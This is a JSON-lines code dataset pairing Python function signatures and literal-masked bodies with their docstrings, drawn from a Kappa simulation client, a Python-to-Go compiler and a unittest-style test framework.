{"signature": "def get_is_sim_running(self):", "body": "sim_info = self.simulation_info()<EOL>try:<EOL><INDENT>progress_info = sim_info['<STR_LIT>']<EOL>ret = progress_info['<STR_LIT>']<EOL><DEDENT>except KeyError:  <EOL><INDENT>ret = False<EOL><DEDENT>return ret<EOL>", "docstring": "Check if the current simulation is running.", "id": "f16376:c5:m7"}
{"signature": "def wait_for_simulation_stop(self, timeout=None):", "body": "start = datetime.now()<EOL>while self.get_is_sim_running():<EOL><INDENT>sleep(<NUM_LIT:0.5>)<EOL>if timeout is not None:<EOL><INDENT>if (datetime.now() - start).seconds >= timeout:<EOL><INDENT>ret = None<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>ret = self.simulation_info()<EOL><DEDENT>return ret<EOL>", "docstring": "Block until the simulation is done or timeout seconds exceeded.\n\n        If the simulation stops before timeout, siminfo is returned.", "id": "f16376:c5:m8"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def project_parse(self, overwrites=None):<DEDENT>", "body": "", "docstring": "Parses the project\n\noverwrites -- list of algebraic variables to overwrite\nEach element has the form {var : \"variable_name\", val : 42 }", "id": "f16376:c5:m9"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def file_create(self, file_object):<DEDENT>", "body": "", "docstring": "Add a file to the project\n\nfile_object -- a Kappa_common.File", "id": "f16376:c5:m10"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def file_delete(self, file_id):<DEDENT>", "body": "", "docstring": "Remove a file from the project", "id": "f16376:c5:m11"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def file_get(self, file_id):<DEDENT>", "body": "", "docstring": "Returns file file_id stored in the project", "id": "f16376:c5:m12"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def file_info(self):<DEDENT>", "body": "", "docstring": "Lists the files of the project (returns a FileMetadata array)", "id": "f16376:c5:m13"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_delete(self):<DEDENT>", "body": "", "docstring": "Deletes running/paused simulation", "id": "f16376:c5:m14"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_file_line(self, file_line_id):<DEDENT>", "body": "", "docstring": "Returns the file file_line_id generated by $PRINT interventions", "id": "f16376:c5:m15"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_DIN(self, DIN_id):<DEDENT>", "body": "", "docstring": "Returns a given generated DIN", "id": "f16376:c5:m16"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_log_messages(self):<DEDENT>", "body": "", "docstring": "Returns simulation log", "id": "f16376:c5:m17"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_plot(self, limit=None):<DEDENT>", "body": "", "docstring": "Returns the plot data of the simulation\n\nNote: No actual plot is produced as a result of this function call.\n\nInputs\n------\nlimit -- optionnal boundaries to only get a subplot\nformat: { offset : 100, nb_points : 500 }\nreturns the last points if offset is Null\n\nReturns\n-------\nsimulation_results -- a json containing the data from the simulation.", "id": "f16376:c5:m18"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_snapshot(self, snapshot_id):<DEDENT>", "body": "", "docstring": "Returns a given generated snapshot", "id": "f16376:c5:m19"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_info(self):<DEDENT>", "body": "", "docstring": "Returns state and progress of the simulation", "id": "f16376:c5:m20"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_info_file_line(self):<DEDENT>", "body": "", "docstring": "Lists files generated by $PRINT during the simulation", "id": "f16376:c5:m21"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_DINs(self):<DEDENT>", "body": "", "docstring": "Lists DIN generated during the simulation", "id": "f16376:c5:m22"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_snapshots(self):<DEDENT>", "body": "", "docstring": "Lists snapshots generated during the simulation", "id": "f16376:c5:m23"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_pause(self):<DEDENT>", "body": "", "docstring": "Pauses a simulation", "id": "f16376:c5:m24"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_intervention(self, intervention_code):<DEDENT>", "body": "", "docstring": "Fires a intervention in a paused simulation", "id": "f16376:c5:m25"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_start(self, simulation_parameter=None):<DEDENT>", "body": "", "docstring": "Start the simulation from the last parsed model.\n\n        Inputs\n        ------\n        simulation_parameter -- (optional) a kappa_common.SimulationParameter\n            instance. The default is set using the `set_default_sim_param`\n            method.", "id": "f16376:c5:m26"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def simulation_continue(self, pause_condition):<DEDENT>", "body": "", "docstring": "Restarts a paused simulation", "id": "f16376:c5:m27"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def analyses_dead_rules(self):<DEDENT>", "body": "", "docstring": "Returns the dead rules of the last parsed model", "id": "f16376:c5:m28"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def analyses_constraints_list(self):<DEDENT>", "body": "", "docstring": "Returns a bunch of invarients on the last parsed model", "id": "f16376:c5:m29"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def analyses_contact_map(self, accuracy=None):<DEDENT>", "body": "", "docstring": "Returns the contact of the last parsed model\n\nInput\n-----\naccuracy -- \\\"high\\\" means take into account reachability from\n   initial state. \\\"low\\\" means don't.", "id": "f16376:c5:m30"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def analyses_influence_map(self, accuracy=None):<DEDENT>", "body": "", "docstring": "Returns the influence_map of the last parsed model\n\nInput\n-----\naccuracy -- level can be \\\"low\\\", \\\"medium\\\", \\\"high\\\" or \\\"full\\\".\n    Default is medium.", "id": "f16376:c5:m31"}
{"signature": "def shutdown(self):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.sim_agent.stdin.close()<EOL>self.sim_agent.stdout.close()<EOL>self.sim_agent.kill()<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.sa_agent.stdin.close()<EOL>self.sa_agent.stdout.close()<EOL>self.sa_agent.kill()<EOL><DEDENT>", "docstring": "Shut down kappa instance.\n\n        Given a key to a kappa service shutdown a running kappa instance.", "id": "f16378:c0:m5"}
{"signature": "def _analyses_init(self):", "body": "if self.project_ast is None:<EOL><INDENT>raise KappaError(\"<STR_LIT>\")<EOL><DEDENT>result = self._dispatch_sa([\"<STR_LIT>\", self.project_ast])<EOL>self.analyses_to_init = False<EOL>return result<EOL>", "docstring": "Initialize the static analyser thanks to the result of project_parse", "id": "f16378:c0:m7"}
{"signature": "def go_str(value):", "body": "io = StringIO.StringIO()<EOL>io.write('<STR_LIT:\">')<EOL>for c in value:<EOL><INDENT>if c in _ESCAPES:<EOL><INDENT>io.write(_ESCAPES[c])<EOL><DEDENT>elif c in _SIMPLE_CHARS:<EOL><INDENT>io.write(c)<EOL><DEDENT>else:<EOL><INDENT>io.write(r'<STR_LIT>'.format(ord(c)))<EOL><DEDENT><DEDENT>io.write('<STR_LIT:\">')<EOL>return io.getvalue()<EOL>", "docstring": "Returns value as a valid Go string literal.", "id": "f16382:m0"}
{"signature": "def adjust_local_name(name):", "body": "return '<STR_LIT>' + name<EOL>", "docstring": "Returns a Go identifier for the given Python variable name.", "id": "f16382:m1"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def indent_block(self, n=<NUM_LIT:1>):<DEDENT>", "body": "self.indent(n)<EOL>yield<EOL>self.dedent(n)<EOL>", "docstring": "A context manager that indents by n on entry and dedents on exit.", "id": "f16382:c4:m2"}
{"signature": "def write_block(self, block_, body):", "body": "self.write('<STR_LIT>')<EOL>with self.indent_block():<EOL><INDENT>self.write('<STR_LIT>')<EOL>self.write('<STR_LIT>')<EOL>for checkpoint in block_.checkpoints:<EOL><INDENT>self.write_tmpl('<STR_LIT>', state=checkpoint)<EOL><DEDENT>self.write('<STR_LIT>')<EOL>self.write('<STR_LIT:}>')<EOL>with self.indent_block(-<NUM_LIT:1>):<EOL><INDENT>self.write(body)<EOL><DEDENT><DEDENT>self.write('<STR_LIT:}>')<EOL>", "docstring": "Outputs the boilerplate necessary for code blocks like functions.\n\n        Args:\n          block_: The Block object representing the code block.\n          body: String containing Go code making up the body of the code block.", "id": "f16382:c4:m4"}
{"signature": "def visit_function_inline(self, node):", "body": "<EOL>func_visitor = block.FunctionBlockVisitor(node)<EOL>for child in node.body:<EOL><INDENT>func_visitor.visit(child)<EOL><DEDENT>func_block = block.FunctionBlock(self.block, node.name, func_visitor.vars,<EOL>func_visitor.is_generator)<EOL>visitor = StatementVisitor(func_block, self.future_node)<EOL>with visitor.writer.indent_block():<EOL><INDENT>visitor._visit_each(node.body)  <EOL><DEDENT>result = self.block.alloc_temp()<EOL>with self.block.alloc_temp('<STR_LIT>') as func_args:<EOL><INDENT>args = node.args<EOL>argc = len(args.args)<EOL>self.writer.write('<STR_LIT>'.format(<EOL>func_args.expr, argc))<EOL>defaults = [None] * (argc - len(args.defaults)) + args.defaults<EOL>for i, (a, d) in enumerate(zip(args.args, defaults)):<EOL><INDENT>with self.visit_expr(d) if d else expr.nil_expr as default:<EOL><INDENT>tmpl = '<STR_LIT>'<EOL>self.writer.write_tmpl(tmpl, args=func_args.expr, i=i,<EOL>name=util.go_str(a.arg), default=default.expr)<EOL><DEDENT><DEDENT>flags = []<EOL>if args.vararg:<EOL><INDENT>flags.append('<STR_LIT>')<EOL><DEDENT>if args.kwarg:<EOL><INDENT>flags.append('<STR_LIT>')<EOL><DEDENT>self.writer.write_tmpl(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>result=result.name, name=util.go_str(node.name),<EOL>filename=util.go_str(self.block.root.filename), args=func_args.expr,<EOL>flags='<STR_LIT>'.join(flags) if flags else <NUM_LIT:0>)<EOL>with self.writer.indent_block():<EOL><INDENT>for var in func_block.vars.values():<EOL><INDENT>if var.type != block.Var.TYPE_GLOBAL:<EOL><INDENT>fmt = '<STR_LIT>'<EOL>self.writer.write(fmt.format(<EOL>util.adjust_local_name(var.name), var.init_expr))<EOL><DEDENT><DEDENT>self.writer.write_temp_decls(func_block)<EOL>self.writer.write('<STR_LIT>')<EOL>self.writer.write('<STR_LIT>')<EOL>if func_block.is_generator:<EOL><INDENT>self.writer.write(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>with self.writer.indent_block():<EOL><INDENT>self.writer.write_block(func_block, visitor.writer.getvalue())<EOL>self.writer.write('<STR_LIT>')<EOL><DEDENT>self.writer.write('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.writer.write_block(func_block, visitor.writer.getvalue())<EOL>self.writer.write(textwrap.dedent(\"\"\"<STR_LIT>\"\"\"))<EOL><DEDENT><DEDENT>self.writer.write('<STR_LIT>')<EOL><DEDENT>return result<EOL>", "docstring": "Returns an GeneratedExpr for a function with the given body.", "id": "f16385:c0:m25"}
{"signature": "def _import_and_bind(self, imp):", "body": "<EOL>with self.block.alloc_temp() as mod,self.block.alloc_temp('<STR_LIT>') as mod_slice:<EOL><INDENT>self.writer.write_checked_call2(<EOL>mod_slice, '<STR_LIT>', util.go_str(imp.name))<EOL>for binding in imp.bindings:<EOL><INDENT>if binding.bind_type == imputil.Import.MODULE:<EOL><INDENT>self.writer.write('<STR_LIT>'.format(<EOL>mod.name, mod_slice.expr, binding.value))<EOL>self.block.bind_var(self.writer, binding.alias, mod.expr)<EOL><DEDENT>else:<EOL><INDENT>self.writer.write('<STR_LIT>'.format(<EOL>mod.name, mod_slice.expr, imp.name.count('<STR_LIT:.>')))<EOL>with self.block.alloc_temp() as member:<EOL><INDENT>self.writer.write_checked_call2(<EOL>member, '<STR_LIT>',<EOL>mod.expr, self.block.root.intern(binding.value))<EOL>self.block.bind_var(self.writer, binding.alias, member.expr)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Generates code that imports a module and binds it to a variable.\n\n        Args:\n          imp: Import object representing an import of the form \"import x.y.z\" or\n              \"from x.y import z\". Expects only a single binding.", "id": "f16385:c0:m28"}
{"signature": "def _write_except_dispatcher(self, exc, tb, handlers):", "body": "handler_labels = []<EOL>for i, except_node in enumerate(handlers):<EOL><INDENT>handler_labels.append(self.block.genlabel())<EOL>if except_node.type:<EOL><INDENT>with self.visit_expr(except_node.type) as type_,self.block.alloc_temp('<STR_LIT:bool>') as is_inst:<EOL><INDENT>self.writer.write_checked_call2(<EOL>is_inst, '<STR_LIT>', exc, type_.expr)<EOL>self.writer.write_tmpl(textwrap.dedent(\"\"\"<STR_LIT>\"\"\"), is_inst=is_inst.expr, label=handler_labels[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if i != len(handlers) - <NUM_LIT:1>:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise util.ParseError(except_node, msg)<EOL><DEDENT>self.writer.write('<STR_LIT>'.format(handler_labels[-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if handlers[-<NUM_LIT:1>].type:<EOL><INDENT>self.writer.write(<EOL>'<STR_LIT>'.format(exc, tb))<EOL>self.writer.write('<STR_LIT>')<EOL><DEDENT>return handler_labels<EOL>", "docstring": "Outputs a Go code that jumps to the appropriate except handler.\n\n        Args:\n          exc: Go variable holding the current exception.\n          tb: Go variable holding the current exception's traceback.\n          handlers: A list of ast.ExceptHandler nodes.\n\n        Returns:\n          A list of Go labels indexes corresponding to the exception handlers.\n\n        Raises:\n          ParseError: Except handlers are in an invalid order.", "id": "f16385:c0:m33"}
{"signature": "def calculate_transitive_deps(modname, script, gopath):", "body": "deps = set()<EOL>def calc(modname, script):<EOL><INDENT>if modname in deps:<EOL><INDENT>return<EOL><DEDENT>deps.add(modname)<EOL>for imp in collect_imports(modname, script, gopath):<EOL><INDENT>if imp.is_native:<EOL><INDENT>deps.add(imp.name)<EOL>continue<EOL><DEDENT>parts = imp.name.split('<STR_LIT:.>')<EOL>calc(imp.name, imp.script)<EOL>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>package_dir, filename = os.path.split(imp.script)<EOL>if filename == '<STR_LIT>':<EOL><INDENT>package_dir = os.path.dirname(package_dir)<EOL><DEDENT>for i in xrange(len(parts) - <NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>modname = '<STR_LIT:.>'.join(parts[:i])<EOL>script = os.path.join(package_dir, '<STR_LIT>')<EOL>calc(modname, script)<EOL>package_dir = os.path.dirname(package_dir)<EOL><DEDENT><DEDENT><DEDENT>calc(modname, script)<EOL>deps.remove(modname)<EOL>return deps<EOL>", "docstring": "Determines all modules that script transitively depends upon.", "id": "f16390:m1"}
{"signature": "def _make_future_features(node):", "body": "assert isinstance(node, ast.ImportFrom)<EOL>assert node.module == '<STR_LIT>'<EOL>features = FutureFeatures()<EOL>for alias in node.names:<EOL><INDENT>name = alias.name<EOL>if name in _FUTURE_FEATURES:<EOL><INDENT>if name not in _IMPLEMENTED_FUTURE_FEATURES:<EOL><INDENT>msg = '<STR_LIT>'.format(name)<EOL>raise util.ParseError(node, msg)<EOL><DEDENT>setattr(features, name, True)<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>raise util.ParseError(node, '<STR_LIT>')<EOL><DEDENT>elif name not in _REDUNDANT_FUTURE_FEATURES:<EOL><INDENT>msg = '<STR_LIT>'.format(name)<EOL>raise util.ParseError(node, msg)<EOL><DEDENT><DEDENT>return features<EOL>", "docstring": "Processes a future import statement, returning set of flags it defines.", "id": "f16390:m3"}
{"signature": "def parse_future_features(mod):", "body": "assert isinstance(mod, ast.Module)<EOL>found_docstring = False<EOL>for node in mod.body:<EOL><INDENT>if isinstance(node, ast.ImportFrom):<EOL><INDENT>if node.module == '<STR_LIT>':<EOL><INDENT>return node, _make_future_features(node)<EOL><DEDENT>break<EOL><DEDENT>elif isinstance(node, ast.Expr) and not found_docstring:<EOL><INDENT>if not isinstance(node.value, ast.Str):<EOL><INDENT>break<EOL><DEDENT>found_docstring = True<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return None, FutureFeatures()<EOL>", "docstring": "Accumulates a set of flags for the compiler __future__ imports.", "id": "f16390:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def bind_var(self, writer, name, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Writes Go statements for assigning value to named var in this block.\n\n        This is overridden in the different concrete block types since in Python,\n        binding a variable in, e.g. a function is quite different than binding at\n        global block.\n\n        Args:\n          writer: The Writer object where statements will be written.\n          name: The name of the Python variable.\n          value: A Go expression to assign to the variable.", "id": "f16392:c2:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def resolve_name(self, writer, name):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns a GeneratedExpr object for accessing the named var in this block.\n\n        This is overridden in the different concrete block types since name\n        resolution in Python behaves differently depending on where in what kind of\n        block its happening within, e.g. local vars are different than globals.\n\n        Args:\n          writer: Writer object where intermediate calculations will be printed.\n          name: The name of the Python variable.", "id": "f16392:c2:m3"}
{"signature": "def alloc_temp(self, type_='<STR_LIT>'):", "body": "for v in sorted(self.free_temps, key=lambda k: k.name):<EOL><INDENT>if v.type_ == type_:<EOL><INDENT>self.free_temps.remove(v)<EOL>self.used_temps.add(v)<EOL>return v<EOL><DEDENT><DEDENT>self.temp_index += <NUM_LIT:1><EOL>name = '<STR_LIT>'.format(self.temp_index)<EOL>v = expr.GeneratedTempVar(self, name, type_)<EOL>self.used_temps.add(v)<EOL>return v<EOL>", "docstring": "Create a new temporary Go variable having type type_ for this block.", "id": "f16392:c2:m5"}
{"signature": "def free_temp(self, v):", "body": "self.used_temps.remove(v)<EOL>self.free_temps.add(v)<EOL>", "docstring": "Release the GeneratedTempVar v so it can be reused.", "id": "f16392:c2:m6"}
{"signature": "def _MakeSliceTest(subscript, want):", "body": "def Test(self):<EOL><INDENT>code = textwrap.dedent(\"\"\"<STR_LIT>\"\"\")<EOL>status, output = _GrumpRun(code.format(subscript))<EOL>self.assertEqual(<NUM_LIT:0>, status, output)<EOL>self.assertEqual(want, output.strip())<EOL><DEDENT>return Test<EOL>", "docstring": "Define a test function that evaluates a slice expression.", "id": "f16393:m2"}
{"signature": "def skip(reason):", "body": "def decorator(test_item):<EOL><INDENT>if not isinstance(test_item, type):<EOL><INDENT>def skip_wrapper(*args, **kwargs):<EOL><INDENT>raise SkipTest(reason)<EOL><DEDENT>skip_wrapper = functools.wraps(test_item)(skip_wrapper)<EOL>test_item = skip_wrapper<EOL><DEDENT>test_item.__unittest_skip__ = True<EOL>test_item.__unittest_skip_why__ = reason<EOL>return test_item<EOL><DEDENT>return decorator<EOL>", "docstring": "Unconditionally skip a test.", "id": "f16396:m1"}
{"signature": "def skipIf(condition, reason):", "body": "if condition:<EOL><INDENT>return skip(reason)<EOL><DEDENT>return _id<EOL>", "docstring": "Skip a test if the condition is true.", "id": "f16396:m2"}
{"signature": "def skipUnless(condition, reason):", "body": "if not condition:<EOL><INDENT>return skip(reason)<EOL><DEDENT>return _id<EOL>", "docstring": "Skip a test unless the condition is true.", "id": "f16396:m3"}
{"signature": "def __init__(self, methodName='<STR_LIT>'):", "body": "self._testMethodName = methodName<EOL>self._resultForDoCleanups = None<EOL>try:<EOL><INDENT>testMethod = getattr(self, methodName)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>(self.__class__, methodName))<EOL><DEDENT>self._cleanups = []<EOL>self._type_equality_funcs = {}<EOL>self.addTypeEqualityFunc(dict, '<STR_LIT>')<EOL>self.addTypeEqualityFunc(list, '<STR_LIT>')<EOL>self.addTypeEqualityFunc(tuple, '<STR_LIT>')<EOL>self.addTypeEqualityFunc(set, '<STR_LIT>')<EOL>self.addTypeEqualityFunc(frozenset, '<STR_LIT>')<EOL>try:<EOL><INDENT>self.addTypeEqualityFunc(str, '<STR_LIT>')<EOL><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Create an instance of the class that will use the named test\n           method when executed. Raises a ValueError if the instance does\n           not have a method with the specified name.", "id": "f16396:c5:m0"}
{"signature": "def addTypeEqualityFunc(self, typeobj, function):", "body": "self._type_equality_funcs[typeobj] = function<EOL>", "docstring": "Add a type specific assertEqual style function to compare a type.\n\n        This method is for use by TestCase subclasses that need to register\n        their own type equality functions to provide nicer error messages.\n\n        Args:\n            typeobj: The data type to call this function on when both values\n                    are of the same type in assertEqual().\n            function: The callable taking two arguments and an optional\n                    msg= argument that raises self.failureException with a\n                    useful error message when the two arguments are not equal.", "id": "f16396:c5:m1"}
{"signature": "def addCleanup(self, function, *args, **kwargs):", "body": "self._cleanups.append((function, args, kwargs))<EOL>", "docstring": "Add a function, with arguments, to be called when the test is\n        completed. Functions added are called on a LIFO basis and are\n        called after tearDown on test failure or success.\n\n        Cleanup items are called even if setUp fails (unlike tearDown).", "id": "f16396:c5:m2"}
{"signature": "def setUp(self):", "body": "pass<EOL>", "docstring": "Hook method for setting up the test fixture before exercising it.", "id": "f16396:c5:m3"}
{"signature": "def tearDown(self):", "body": "pass<EOL>", "docstring": "Hook method for deconstructing the test fixture after testing it.", "id": "f16396:c5:m4"}
{"signature": "def setUpClass(cls):", "body": "", "docstring": "Hook method for setting up class fixture before running tests in the class.", "id": "f16396:c5:m5"}
{"signature": "def tearDownClass(cls):", "body": "", "docstring": "Hook method for deconstructing the class fixture after running all tests in the class.", "id": "f16396:c5:m6"}
{"signature": "def shortDescription(self):", "body": "<EOL>return '<STR_LIT>'<EOL>", "docstring": "Returns a one-line description of the test, or None if no\n        description has been provided.\n\n        The default implementation of this method returns the first line of\n        the specified test method's docstring.", "id": "f16396:c5:m9"}
{"signature": "def doCleanups(self):", "body": "result = self._resultForDoCleanups<EOL>ok = True<EOL>while self._cleanups:<EOL><INDENT>function, args, kwargs = self._cleanups.pop(-<NUM_LIT:1>)<EOL>try:<EOL><INDENT>function(*args, **kwargs)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>raise<EOL><DEDENT>except:<EOL><INDENT>ok = False<EOL>result.addError(self, sys.exc_info())<EOL><DEDENT><DEDENT>return ok<EOL>", "docstring": "Execute all cleanup functions. Normally called for you after\n        tearDown.", "id": "f16396:c5:m18"}
{"signature": "def debug(self):", "body": "self.setUp()<EOL>getattr(self, self._testMethodName)()<EOL>self.tearDown()<EOL>while self._cleanups:<EOL><INDENT>function, args, kwargs = self._cleanups.pop(-<NUM_LIT:1>)<EOL>function(*args, **kwargs)<EOL><DEDENT>", "docstring": "Run the test without collecting errors in a TestResult", "id": "f16396:c5:m20"}
{"signature": "def skipTest(self, reason):", "body": "raise SkipTest(reason)<EOL>", "docstring": "Skip this test.", "id": "f16396:c5:m21"}
{"signature": "def fail(self, msg=None):", "body": "raise self.failureException(msg)<EOL>", "docstring": "Fail immediately, with the given message.", "id": "f16396:c5:m22"}
{"signature": "def assertFalse(self, expr, msg=None):", "body": "if expr:<EOL><INDENT>msg = self._formatMessage(msg, \"<STR_LIT>\" % safe_repr(expr))<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "Check that the expression is false.", "id": "f16396:c5:m23"}
{"signature": "def assertTrue(self, expr, msg=None):", "body": "if not expr:<EOL><INDENT>msg = self._formatMessage(msg, \"<STR_LIT>\" % safe_repr(expr))<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "Check that the expression is true.", "id": "f16396:c5:m24"}
{"signature": "def _formatMessage(self, msg, standardMsg):", "body": "if not self.longMessage:<EOL><INDENT>return msg or standardMsg<EOL><DEDENT>if msg is None:<EOL><INDENT>return standardMsg<EOL><DEDENT>try:<EOL><INDENT>return '<STR_LIT>' % (standardMsg, msg)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>return  '<STR_LIT>' % (safe_repr(standardMsg), safe_repr(msg))<EOL><DEDENT>", "docstring": "Honour the longMessage attribute when generating failure messages.\n        If longMessage is False this means:\n        * Use only an explicit message if it is provided\n        * Otherwise use the standard message for the assert\n\n        If longMessage is True:\n        * Use the standard message\n        * If an explicit message is provided, plus ' : ' and the explicit message", "id": "f16396:c5:m25"}
{"signature": "def assertRaises(self, excClass, callableObj=None, *args, **kwargs):", "body": "context = _AssertRaisesContext(excClass, self)<EOL>if callableObj is None:<EOL><INDENT>return context<EOL><DEDENT>with context:<EOL><INDENT>callableObj(*args, **kwargs)<EOL><DEDENT>", "docstring": "Fail unless an exception of class excClass is raised\n           by callableObj when invoked with arguments args and keyword\n           arguments kwargs. If a different type of exception is\n           raised, it will not be caught, and the test case will be\n           deemed to have suffered an error, exactly as for an\n           unexpected exception.\n\n           If called with callableObj omitted or None, will return a\n           context object used like this::\n\n                with self.assertRaises(SomeException):\n                    do_something()\n\n           The context manager keeps a reference to the exception as\n           the 'exception' attribute. This allows you to inspect the\n           exception after the assertion::\n\n               with self.assertRaises(SomeException) as cm:\n                   do_something()\n               the_exception = cm.exception\n               self.assertEqual(the_exception.error_code, 3)", "id": "f16396:c5:m26"}
{"signature": "def _getAssertEqualityFunc(self, first, second):", "body": "<EOL>if type(first) is type(second):<EOL><INDENT>asserter = self._type_equality_funcs.get(type(first))<EOL>if asserter is not None:<EOL><INDENT>if isinstance(asserter, str):<EOL><INDENT>asserter = getattr(self, asserter)<EOL><DEDENT>return asserter<EOL><DEDENT><DEDENT>return self._baseAssertEqual<EOL>", "docstring": "Get a detailed comparison function for the types of the two args.\n\n        Returns: A callable accepting (first, second, msg=None) that will\n        raise a failure exception if first != second with a useful human\n        readable error message for those types.", "id": "f16396:c5:m27"}
{"signature": "def _baseAssertEqual(self, first, second, msg=None):", "body": "if not first == second:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(first), safe_repr(second))<EOL>msg = self._formatMessage(msg, standardMsg)<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "The default assertEqual implementation, not type specific.", "id": "f16396:c5:m28"}
{"signature": "def assertEqual(self, first, second, msg=None):", "body": "assertion_func = self._getAssertEqualityFunc(first, second)<EOL>assertion_func(first, second, msg=msg)<EOL>", "docstring": "Fail if the two objects are unequal as determined by the '=='\n           operator.", "id": "f16396:c5:m29"}
{"signature": "def assertNotEqual(self, first, second, msg=None):", "body": "if not first != second:<EOL><INDENT>msg = self._formatMessage(msg, '<STR_LIT>' % (safe_repr(first),<EOL>safe_repr(second)))<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "Fail if the two objects are equal as determined by the '!='\n           operator.", "id": "f16396:c5:m30"}
{"signature": "def assertAlmostEqual(self, first, second, places=None, msg=None, delta=None):", "body": "if first == second:<EOL><INDENT>return<EOL><DEDENT>if delta is not None and places is not None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if delta is not None:<EOL><INDENT>if abs(first - second) <= delta:<EOL><INDENT>return<EOL><DEDENT>standardMsg = '<STR_LIT>' % (safe_repr(first),<EOL>safe_repr(second),<EOL>safe_repr(delta))<EOL><DEDENT>else:<EOL><INDENT>if places is None:<EOL><INDENT>places = <NUM_LIT:7><EOL><DEDENT>if round(abs(second-first), places) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>standardMsg = '<STR_LIT>' % (safe_repr(first),<EOL>safe_repr(second),<EOL>places)<EOL><DEDENT>msg = self._formatMessage(msg, standardMsg)<EOL>raise self.failureException(msg)<EOL>", "docstring": "Fail if the two objects are unequal as determined by their\n           difference rounded to the given number of decimal places\n           (default 7) and comparing to zero, or by comparing that the\n           between the two objects is more than the given delta.\n\n           Note that decimal places (from zero) are usually not the same\n           as significant digits (measured from the most signficant digit).\n\n           If the two objects compare equal then they will automatically\n           compare almost equal.", "id": "f16396:c5:m31"}
{"signature": "def assertNotAlmostEqual(self, first, second, places=None, msg=None, delta=None):", "body": "if delta is not None and places is not None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if delta is not None:<EOL><INDENT>if not (first == second) and abs(first - second) > delta:<EOL><INDENT>return<EOL><DEDENT>standardMsg = '<STR_LIT>' % (safe_repr(first),<EOL>safe_repr(second),<EOL>safe_repr(delta))<EOL><DEDENT>else:<EOL><INDENT>if places is None:<EOL><INDENT>places = <NUM_LIT:7><EOL><DEDENT>if not (first == second) and round(abs(second-first), places) != <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>standardMsg = '<STR_LIT>' % (safe_repr(first),<EOL>safe_repr(second),<EOL>places)<EOL><DEDENT>msg = self._formatMessage(msg, standardMsg)<EOL>raise self.failureException(msg)<EOL>", "docstring": "Fail if the two objects are equal as determined by their\n           difference rounded to the given number of decimal places\n           (default 7) and comparing to zero, or by comparing that the\n           between the two objects is less than the given delta.\n\n           Note that decimal places (from zero) are usually not the same\n           as significant digits (measured from the most signficant digit).\n\n           Objects that are equal automatically fail.", "id": "f16396:c5:m32"}
